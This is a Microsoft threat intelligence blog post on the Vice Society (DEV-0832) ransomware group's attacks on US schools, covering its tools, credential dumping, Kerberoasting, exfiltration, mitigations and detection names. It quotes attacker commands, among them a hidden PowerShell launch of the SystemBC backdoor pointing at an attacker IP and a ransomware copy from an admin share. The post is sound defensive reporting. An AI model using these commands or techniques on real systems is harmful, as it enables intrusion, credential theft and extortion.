Microsoft | Microsoft Security

Solutions ⌄   Products ⌄   Services ⌄   Partners | 🌐   All Microsoft ⌄   🔍   Light ☀️⬤ Dark

🏠 **Blog home** / Threat intelligence

Search the blog 🔍

Research **Threat intelligence** **Ransomware**

11 min read

DEV-0832 (Vice Society) opportunistic ransomware campaigns impacting US education sector

By Microsoft Threat Intelligence

October 25, 2022

Ⓕ 𝕏 in

Ransomware

Elevation of privilege

Extortion

more ⌄

April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather. **DEV-0832** is now tracked as **Vanilla Tempest**.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: **Microsoft shifts to a new threat actor naming taxonomy**.

In recent months, Microsoft has detected active ransomware and extortion campaigns impacting the global education sector, particularly in the US, by a threat actor we track as DEV-0832, also known as Vice Society. Shifting ransomware payloads over time from BlackCat, QuantumLocker, and Zeppelin, DEV-0832's latest payload is a Zeppelin variant that includes Vice Society-specific file extensions, such as .v-s0ciety, .v-society, and, most recently, .locked. In several cases, Microsoft assesses that the group did not deploy ransomware and instead possibly performed extortion using only exfiltrated stolen data.

DEV-0832 is a cybercriminal group that has reportedly been active as early as June 2021. While the latest attacks between July and October 2022 have heavily impacted the education sector, DEV-0832's previous opportunistic attacks have affected various industries like local government and retail. Microsoft assesses that the group is financially motivated and continues to focus on organizations where there are weaker security controls and a higher likelihood of compromise and ransom payout. Before deploying ransomware, DEV-0832 relies on tactics, techniques, and procedures commonly used among other ransomware actors, including the use of PowerShell scripts, repurposed legitimate tools, exploits for publicly disclosed vulnerabilities for initial access and post-compromise elevation of privilege, and commodity backdoors like *SystemBC*.

Ransomware has evolved into a complex threat that's human-operated, adaptive, and focused on a wider scale, using data extortion as a monetization strategy to become even more impactful in recent years. To find easy entry and privilege escalation points in an environment, these attackers often take advantage of poor credential hygiene

and legacy configurations or misconfigurations. Defenders can build a robust defense against ransomware by reading our ransomware as a service blog.

In this blog, we detail Microsoft's analysis of observed DEV-0832 activity, including the tactics and techniques used across the group's campaigns, with the goal of helping customers identify, investigate, and remediate activity in their environments. We provide hunting queries to help customers comprehensively search their environments for relevant indicators as well as protection and hardening guidance to help organizations increase resilience against these and similar attacks.

Who is DEV-0832 (Vice Society)?

Microsoft has identified multiple campaigns attributed to DEV-0832 over the past year based on the use of a unique PowerShell file name, staging directories, and ransom payloads and their accompanying notes. To gain an initial foothold in compromised networks, DEV-0832 has reportedly exploited vulnerable web-facing applications and used valid accounts. However, due to limited initial signals from affected organizations, Microsoft has not confirmed these attack vectors. Attackers then use custom PowerShell scripts, commodity tools, exploits for disclosed vulnerabilities, and native Windows binaries to gather privileged credentials, move laterally, collect and exfiltrate data, and deploy ransomware.

After deploying ransomware, DEV-0832 demands a ransom payment, threatening to leak stolen data on the group's *[.]onion* site. In some cases, Microsoft observed that DEV-0832 did not deploy ransomware. Instead, the actors appeared to exfiltrate data and dwell within compromised networks. The group sometimes avoids a ransomware payload in favor of simple extortion—threatening to release stolen data unless a payment is made.

The group also goes to significant measures to ensure that an organization cannot recover from the attack without paying the ransom: Microsoft has observed DEV-0832 access two domain administrator accounts and reset user passwords of over 150,000 users, essentially locking out legitimate users before deploying ransomware to some devices. This effectively interrupts remediation efforts, including attempts to prevent the ransomware payload or post-compromise incident response.

Toolset

Ransomware payloads

Microsoft has observed DEV-0832 deploy multiple commodity ransomware variants over the past year: BlackCat, QuantumLocker, Zeppelin, and most recently a Vice Society-branded variant of the Zeppelin ransomware. While many ransomware groups have shifted away from branded file extensions in favor of randomly generated ones, DEV-0832 incorporated branding with their Vice Society variant using *.v-s0ciety* or *.v-society* file extensions. Most recently in late September 2022, DEV-0832 again modified their ransomware payload to a variant dubbed RedAlert, using a *.locked* file extension.

In one July 2022 intrusion, Microsoft security researchers identified DEV-0832 attempt to deploy QuantumLocker binaries, then within five hours, attempt to deploy suspected Zeppelin ransomware binaries. Such an incident might suggest that DEV-0832 maintains multiple ransomware payloads and switches depending on target defenses or, alternatively, that dispersed operators working under the DEV-0832 umbrella might maintain their own preferred ransomware payloads for distribution. The shift from a ransomware as a service (RaaS) offering (BlackCat) to a purchased wholly-owned malware offering (Zeppelin) and a custom Vice Society variant indicates DEV-0832 has active ties in the cybercriminal economy and has been testing ransomware payload efficacy or post-ransomware extortion opportunities.

In many intrusions, DEV-0832 stages their ransomware payloads in a hidden share on a Windows system, for example accessed via a share name containing "$". Once

DEV-0832 has exfiltrated data, they then distribute the ransomware onto local devices for launching, likely using group policy, as shown in the below command:

```
cmd.exe /c copy \\10.<redacted>\c$\windows\temp\teril.exe c:\windows\temp\
```

Figure 1. Group policy to distribute ransomware onto local devices

The group also has cross-platform capabilities: Microsoft identified the deployment of a Vice Society Linux Encryptor on a Linux ESXi server.

PowerShell scripts

DEV-0832 uses a PowerShell script to conduct a variety of malicious activities and make system-related changes within compromised networks. Like their ransomware payloads, DEV-0832 typically stages their PowerShell scripts on a domain controller.

Microsoft security researchers have observed several variations among identified DEV-0832 PowerShell scripts, indicating ongoing refinement and development over time—while some only perform system discovery commands, other scripts are further modified to perform persistence, defense evasion, data exfiltration, and even distribute the ransomware payloads.

Commodity tools

According to Microsoft investigations, DEV-0832 has used two commodity backdoors in ransomware attacks: *SystemBC* and *PortStarter*.

SystemBC is a post-compromise commodity remote access trojan (RAT) and proxy tool that has been incorporated into multiple diverse ransomware attacks. In one DEV-0832 intrusion, the attacker used both a compromised domain admin user account and a compromised contractor account to launch a PowerShell command that launched a *SystemBC* session under the value name "socks":

```
socks - Powershell.exe - windowstyle hidden -ExecutionPolicy Bypass -File "$domain "
'156.96.62.54' # host
```

Figure 2. Powershell command launching a SystemBC session named 'socks'

PortStarter is a backdoor written in Go. According to Microsoft analysis, this malware provides functionality such as modifying firewall settings and opening ports to connect to pre-configured command-and-control (C2) servers.

DEV-0832 has also deployed ransomware payloads using the remote launching tool Power Admin. Power Admin is a legitimate tool that provides functionality to monitor servers and applications, as well as file access auditing. If an organization has enabled Console Security settings within Power Admin, an attacker must have credentials to make authorized changes.

Other commodity tools identified in DEV-0832 attacks include Advanced Port Scanner and Advanced IP Scanner for network discovery.

Abuse of legitimate tooling

Like many other ransomware actors, DEV-0832 relies on misusing legitimate system tools to reduce the need to launch malware or malicious scripts that automated security solutions might detect. Observed tools include:

- Use of the Windows Management Instrumentation Command-line (WMIC) to launch commands that delete Mongo databases, other backups, and security programs.
- Use of Impacket's WMIexec functionality, an open-source tool to launch commands via WMI, and Impacket *atexec.py*, which launches commands using Task Scheduler.
- Use of the vssadmin command to delete shadow copy backups on Windows Server.

- Use of [PsExec](#) to remotely launch PowerShell, batch scripts, and deploy ransomware payloads

Additionally, in one identified intrusion, DEV-0832 attempted to turn off Microsoft Defender Antivirus using registry commands. [Enabling Microsoft Defender Antivirus tamper protection](#) helps block this type of activity.

Figure 3. Registry commands that attempt to tamper with Microsoft Defender antivirus software

Harvesting privileged credentials for ransomware deployment

Like other ransomware groups, after gaining an initial foothold within a network, DEV-0832 moves quickly to gather valid administrator local or domain credentials to ensure they can distribute ransomware payloads throughout the network for maximum impact.

Credential dumps

While Microsoft has not identified all the credential access techniques of DEV-0832, in many instances DEV-0832 accesses Local Security Authority Server Service (LSASS) dumps to obtain valid account credentials that were present in memory. Microsoft also observed that, instead of using a tool like Mimikatz to access a credential dump, DEV-0832 typically abuses the tool *comsvcs.dll* along with MiniDump to dump the LSASS process memory. Other ransomware actors have been observed using the same technique.

In cases where DEV-0832 obtained domain-level administrator accounts, they accessed NTDS dumps for later cracking. The following command shows the attacker exfiltrating the *NTDS.dit* file, which stores Active Directory data to an actor-created directory:

Figure 4. Example of attacker command to exfiltrate the 'NTDS.dit' file

Kerberoast

Microsoft has also identified DEV-0832 used the malicious PowerSploit module *Invoke-Kerberoast* to perform a Kerberoast attack, which is a post-exploitation technique used to obtain credentials for a service account from Active Directory Domain Services (AD DS). The *Invoke-Kerberoast* module requests encrypted service tickets and returns them in an attacker-specified output format compatible with cracking tools. The group can use the cracked Kerberos hashes to reveal passwords for service accounts, often providing access to an account that has the equivalent of domain admin privileges. Furthermore, one Kerberos service ticket can have many associated service principal names (SPNs); successful Kerberoasting can then grant an attacker access to the SPNs' associated service or user accounts, such as obtaining ticket granting service (TGS) tickets for Active Directory SPNs that would allow an attacker to do offline password cracking.

Combined with the fact that service account passwords are not usually set to expire and typically remain unchanged for a great length of time, attackers like DEV-0832 continue to rely on Kerberoasting in compromised networks. Microsoft 365 Defender blocks this attack with Antimalware Scan Interface (AMSI) and machine learning. Monitor for alerts that reference Kerberoast attacks closely as the presence of these alerts typically indicates a human adversary in your environment.

Account creation

In one suspected DEV-0832 intrusion, Microsoft observed an operator create accounts that, based on the naming convention, were designed to blend in as admin accounts and allow persistence without malware, as shown in the following command:

Figure 5. Attacker command to create accounts

Monitoring newly created accounts can help identify this type of suspicious activity that does not rely on launching malware for persistence in the environment.

Exploitation of privilege escalation vulnerabilities

In August 2022, Microsoft security researchers identified one file during a DEV-0832 intrusion indicating that the group has incorporated an exploit for the disclosed, patched security flaw CVE-2022-24521 (Windows Common Log File System (CLFS) logical-error vulnerability). Microsoft released a patch in April 2022. The DEV-0832 file spawns a new *cmd.exe* process with system privileges.

According to public reporting, DEV-0832 has also incorporated exploits for the PrintNightmare vulnerability to escalate privileges in a domain. Combined with the CVE-2022-24521 exploit code, it is likely that DEV-0832, like many other adversaries, quickly incorporates available exploit code for disclosed vulnerabilities into their toolset to target unpatched systems.

Lateral movement with valid accounts

After gaining credentials, DEV-0832 frequently moves laterally within a network using Remote Desktop Protocol (RDP). And as previously mentioned, DEV-0832 has also used valid credentials to interact with remote network shares over Server Message Block (SMB) where they stage ransomware payloads and PowerShell scripts.

Data exfiltration

In one known intrusion, DEV-0832 operators exfiltrated hundreds of gigabytes of data by launching their PowerShell script, which was staged on a network share. The script contained hardcoded attacker-owned IP addresses and searched for wide-ranging, non-targeted keywords ranging from financial documents to medical information, while excluding files containing keywords such as varied antivirus

product names or file artifact extensions. Given the wide range of keywords included in the script, it is unlikely that DEV-0832 regularly customizes it for each target.

Microsoft suspects that DEV-0832 uses legitimate tools Rclone and MegaSync for data exfiltration as well; many ransomware actors leverage these tools, which provide capabilities to upload files to cloud storage. DEV-0832 also uses file compression tools to collect data from compromised devices.

Mitigations

Apply these mitigations to reduce the impact of this threat:

- Use device discovery to increase your visibility into your network by finding unmanaged devices on your network and onboarding them to Microsoft Defender for Endpoint.
- Use Microsoft Defender Vulnerability Management to assess your current status and deploy any updates that might have been missed.
- Utilize Microsoft Defender Firewall, intrusion prevention devices, and your network firewall to prevent RPC and SMB communication among endpoints whenever possible. This limits lateral movement as well as other attack activities.
- Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
- Turn on tamper protection features to prevent attackers from stopping security services.
- Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn't detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
- Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
- LSA protection is enabled by default on new Windows 11 devices, hardening the platform against credential dumping techniques. LSA PPL protection will further restrict access to memory dumps making it hard to obtain credentials.
- Refer to Microsoft's blog Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself for recommendations on building strong credential hygiene and other robust measures to defend against ransomware.

Microsoft customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any administrator, offer significant hardening against ransomware attacks. In observed attacks, Microsoft customers who had the following rules enabled were able to mitigate the attack in the initial stages and prevented hands-on-keyboard activity:

- Block process creations originating from PsExec and WMI commands
- Block executable files from running unless they meet a prevalence, age, or trusted list criterion
- Use advanced protection against ransomware
- Block credential stealing from the Windows local security authority subsystem (lsass.exe)

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects DEV-0832's Vice Society-branded Zeppelin variant as the following malware:

- Ransom:Win32/VSocCrypt
- Trojan:PowerShell/VSocCrypt
- Ransom:Linux/ViceSociety

Other commodity ransomware variants previously leveraged by DEV-0832 are detected as:

- Behavior:Win32/Ransomware!Quantum.A
- Behavior:Win32/Quantum.AA
- Ransom:Win32/Zeppelin
- Ransom:Win32/Blackcat

SystemBC and *PortStarter* are detected as:

- Behavior:Win32/SystemBC
- Trojan:Win32/SystemBC
- Backdoor:Win64/PortStarter

Some pre-ransomware intrusion activity used in multiple campaigns by various activity groups can be detected generically. During identified DEV-0832 activity, associated command line activity was detected with generic detections, including:

- Behavior:Win32/OfficeInjectingProc.A
- Behavior:Win32/PsexecRemote.E
- Behavior:Win32/SuspRemoteCopy.B
- Behavior:Win32/PSCodeInjector.A
- Behavior:Win32/REnamedPowerShell.A

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate threat activity on your network:

- DEV-0832 activity group
- 'VSocCrypt' ransomware was prevented

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

- Use of living-off-the-land binary to run malicious code
- Potential SystemBC execution via Windows Task Scheduler
- Suspicious sequence of exploration activities
- Process memory dump
- Suspicious behavior by cmd.exe was observed
- Suspicious remote activity
- Suspicious access to LSASS service
- Suspicious credential dump from NTDS.dit
- File backups were deleted
- System recovery setting tampering

Related Posts

Research Threat trends · Oct 22 · 6 min read

Microsoft Threat Intelligence healthcare ransomware report highlights need for collective industry action >

Healthcare organizations are an attractive target for ransomware attacks. Read our latest blog post to learn why and get strategies to protect yourself from cyberthreats.

Research Threat intelligence Microsoft Defender

Attacker techniques, tools, and infrastructure

Sep 26 · 20 min read

Storm-0501: Ransomware attacks expanding to hybrid cloud environments >

Microsoft has observed the threat actor tracked as Storm-0501 launching a multi-staged attack where they compromised hybrid cloud environments and performed lateral movement from on-premises to cloud environment, leading to data exfiltration, credential theft, tampering, persistent backdoor access, and ransomware deployment. The said attack targeted multiple sectors in the United States, including government, manufacturing, transportation, [...]

Research Threat intelligence Microsoft Defender Ransomware ·

Jul 29 · 9 min read

Ransomware operators exploit ESXi hypervisor vulnerability for mass encryption >

Microsoft Security researchers have observed a vulnerability used by various ransomware operators to get full administrative access to domain-joined ESXi hypervisors and encrypt the virtual machines running on them. The vulnerability involves creating a group called "ESX Admins" in Active Directory and adding an attacker-controlled user account to this group. This manipulation of the Active Directory group takes advantage of a privilege escalation vulnerability (CVE-2024-37085) in ESXi hypervisors that grants the added user full administrative access to the ESXi hypervisor. The vulnerability was fixed by VMware in their June release and ESXi administrators should install this security update.

Research Threat intelligence Microsoft Defender Threat actors ·

Apr 22 · 10 min read

Analyzing Forest Blizzard's custom post-compromise tool for exploiting CVE-2022-38028 to obtain credentials >

Since 2019, Forest Blizzard has used a custom post-compromise tool to exploit a vulnerability in the Windows Print Spooler service that allows elevated permissions. Microsoft has issued a security update addressing this vulnerability as CVE-2022-38028.

Get started with Microsoft Security

Microsoft is a leader in cybersecurity, and we embrace our responsibility to make the world a safer place.

Learn more

Connect with us on social

What's new

Surface Pro

Surface Laptop

Surface Laptop Studio 2

Surface Laptop Go 3

Microsoft Copilot

AI in Windows

Explore Microsoft products

Windows 11 apps

Microsoft Store

Account profile

Download Center

Microsoft Store support

Returns

Order tracking

Certified Refurbished

Microsoft Store Promise

Flexible Payments

Education

Microsoft in education

Devices for education

Microsoft Teams for Education

Microsoft 365 Education

How to buy for your school

Educator training and development

Deals for students and parents

Azure for students

Business

Microsoft Cloud

Microsoft Security

Dynamics 365

Microsoft 365

Microsoft Power Platform

Microsoft Teams

Microsoft 365 Copilot

Small Business

Developer & IT

Azure

Developer Center

Documentation

Microsoft Learn

Microsoft Tech Community

Azure Marketplace

AppSource

Visual Studio

Company

Careers

About Microsoft

Company news

Privacy at Microsoft

Investors

Diversity and inclusion

Accessibility

Sustainability

English (United States)

Your Privacy Choices

Consumer Health Privacy

Sitemap   Contact Microsoft   Privacy   Manage cookies   Terms of use   Trademarks   Safety & eco   Recycling   About our ads   © Microsoft 2024